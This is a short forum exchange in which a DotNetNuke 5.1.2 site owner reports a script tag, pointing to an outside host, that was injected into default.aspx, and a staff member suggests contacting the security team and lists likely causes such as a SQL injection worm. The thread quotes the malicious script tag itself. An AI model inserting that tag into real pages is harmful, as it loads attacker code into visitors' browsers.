Hi,

does anybody have an idea on why my dnn 5.1.2 have this <script src='http://b.nt002.cn/E/J.JS'></script> javascript? for some reason over the weekend it was inserted in my default.aspx. it this script being used by DNN. seems to be injected by someone but cant trace how? can you help me out with this problem? i noticed this issue because in IE8 it keep popping up the security warning on my secured pages. and later found out that this was the cause of it.

hope to hear from you,

MarkV

Hello,

please contact the security team at security@dotnetnuke.com, so we can investigate this further (please include your default.aspx & default.aspx.vb files in the mail)

Please note, I don't believe this is likely to be a DotNetNuke issue - this kind of injection most typically occurs via a sql injection worm (http://www.dotnetnuke.com/Community/Blogs/tabid/825/EntryId/1930/is-DotNetNuke-vulnerable-to-sql-injection.aspx) , or a server/IIS level issue - also in one case we had a user who had a virus on their PC that detected the existance of an FTP client on the users machine and used that to update various files.

Cathal